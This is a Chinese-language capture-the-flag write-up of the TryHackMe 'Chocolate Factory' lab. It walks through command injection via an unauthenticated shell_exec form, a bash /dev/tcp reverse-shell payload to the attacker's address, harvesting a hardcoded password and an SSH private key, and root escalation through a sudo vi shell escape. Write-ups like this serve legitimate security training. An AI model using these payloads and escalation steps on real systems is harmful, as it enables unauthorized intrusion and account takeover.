5 min read

TryHackMe Chocolate Factory writeup (zh-TW)

TryHackMe Chocolate Factory writeup (zh-TW)

題目資訊

偵察階段

Nmap 掃描

nmap -sV -sC -p- 10.201.8.19 -Pn

掃描結果:

  • Port 22: SSH
  • Port 80: HTTP (Apache)

目錄枚舉

gobuster dir -u http://10.201.8.19/ \
  -w /usr/share/wordlists/dirb/common.txt -t 20

發現的路徑:

  • /index.html - 主頁面
  • /home.php - 命令介面
  • /validate.php - 登入驗證

Step 1: Command Injection 漏洞

發現漏洞
訪問命令介面home.php發現一個命令執行表單:

<form method="POST">
    <input id="comm" type="text" name="command" placeholder="Command">
    <button>Execute</button>
</form>

後端 PHP 代碼存在嚴重漏洞:(先用ls,確認有index.php.bak,再cat)

<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        echo shell_exec($cmd);  // 直接執行用戶輸入!
    }
?>

建立反向 Shell

步驟 1:在本地設置監聽器 (Windows powershell)

ncat -lvnp 4444

步驟 2:注入 Payload

在表單中輸入:

bash -c 'bash -i >& /dev/tcp/10.13.90.144/4444 0>&1'

成功獲得 www-data shell!

Step 2: 獲取 Charlie 的密碼

文件枚舉

www-data@ip-10-201-8-19:/var/www/html$ ls -al
total 1152
-rw-rw-r-- 1 charlie charley     303 Sep 30  2020 validate.php
-rw-rw-r-- 1 charlie charley     273 Sep 29  2020 index.php.bak
-rw-r--r-- 1 charlie charley    8496 Sep 30  2020 key_rev_key

查看 validate.php

cat validate.php

關鍵發現:

<?php
    $uname=$_POST['uname'];
    $password=$_POST['password'];
    if($uname=="charlie" && $password=="cn7824"){
        echo "<script>window.location='home.php'</script>";
    }
?>

Charlie 的密碼:cn7824

Step 3: 分析 key_rev_key 獲取加密密鑰

下載文件,也可以直接在reverse shell上分析!

# 在目標機器上
python3 -m http.server 8000

# 在本地機器上
wget http://10.201.8.19:8000/key_rev_key

逆向分析

file key_rev_key
# key_rev_key: ELF 64-bit LSB executable

strings key_rev_key

發現加密密鑰:

b'-VkgXhFf6sAEcAwrC6YR-Redacted='

這是一個 Fernet 加密密鑰,稍後會用到!

Step 4: SSH 登入獲取 User Flag

發現 SSH 私鑰

www-data@ip-10-201-8-19:/home/charlie$ ls -al
-rw-r--r-- 1 charlie charley 1675 Oct  6  2020 teleport
-rw-r--r-- 1 charlie charley  407 Oct  6  2020 teleport.pub
-rw-r----- 1 charlie charley   39 Oct  6  2020 user.txt

使用私鑰登入
步驟 1:複製私鑰到本地

cat teleport

複製整個 RSA 私鑰內容(從 -----BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----

步驟 2:保存並設置權限

nano charlie_key
# 貼上私鑰內容

chmod 600 charlie_key

步驟 3:SSH 登入

ssh -i charlie_key [email protected]

成功登入! (私鑰沒有密碼保護)

獲取 User Flag

charlie@ip-10-201-8-19:~$ cat user.txt
flag{Redacted}

Step 5: 提權到 Root

檢查 Sudo 權限

charlie@ip-10-201-8-19:~$ sudo -l

User charlie may run the following commands on ip-10-201-8-19:
    (ALL : !root) NOPASSWD: /usr/bin/vi

利用 Vi 提權
參考 GTFOBins - vi

sudo vi -c ':!/bin/sh' /dev/null

成功獲得 Root Shell!

# whoami
root

Step 6: 解密最終 Flag

發現加密腳本

# cd /root
# ls
root.py  snap

# cat root.py

腳本內容:

from cryptography.fernet import Fernet
import pyfiglet

key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()

display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)

在本地執行
由於目標機器缺少 cryptography 模組,下載到本地執行:

# 本地機器
nano root.py
# 貼上腳本內容

pip3 install cryptography pyfiglet

python3 root.py

輸入之前獲得的密鑰:

Enter the key:  -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

獲得最終 Flag

__   __               _               _   _                 _____ _
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
  ___                              ___   __
 / _ \__      ___ __   ___ _ __   / _ \ / _|
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_
| |_| |\ V  V /| | | |  __/ |    | |_| |  _|
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|
  ____ _                     _       _
 / ___| |__   ___   ___ ___ | | __ _| |_ ___
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
 _____          _
|  ___|_ _  ___| |_ ___  _ __ _   _
| |_ / _` |/ __| __/ _ \| '__| | | |
|  _| (_| | (__| || (_) | |  | |_| |
|_|  \__,_|\___|\__\___/|_|   \__, |
                              |___/
flag{Redacted}

技術要點總結

1. Command Injection 漏洞

  • 識別特徵:直接使用 shell_exec()system() 執行用戶輸入

2. SSH 私鑰利用

3. Sudo 提權 - Vi/Vim

  • 檢查命令sudo -l
  • 參考資源GTFOBins

利用方法

sudo vi -c ':!/bin/sh' /dev/null# 或sudo vim -c ':!/bin/bash'

4. Fernet 加密解密

  • 特徵:Base64 編碼的對稱加密

經驗分享

關於Step 1: Command Injection 漏洞

這個home.php的頁面,理論上根據validate.php,要從index.html登入後會跳轉到這個頁面,才發現command injection,但一開始就可以利用gobuster找到,且沒有驗證身分,可以輕易繞過,而直接執行命令

關於Step 2: 獲取 Charlie 的密碼

Charlie我是拿完所有flag才回來做,也嘗試用/etc/shadow,要去解他的本機密碼,也嘗試要去解ssh的登入密碼,但後來都無果,所以才回到最一開始的reverse shell,發現漏看一個validate.php

關於Step 6: 解密最終 Flag:

最終的flag還有一層解密,算是作者首見,挺有趣味的哈!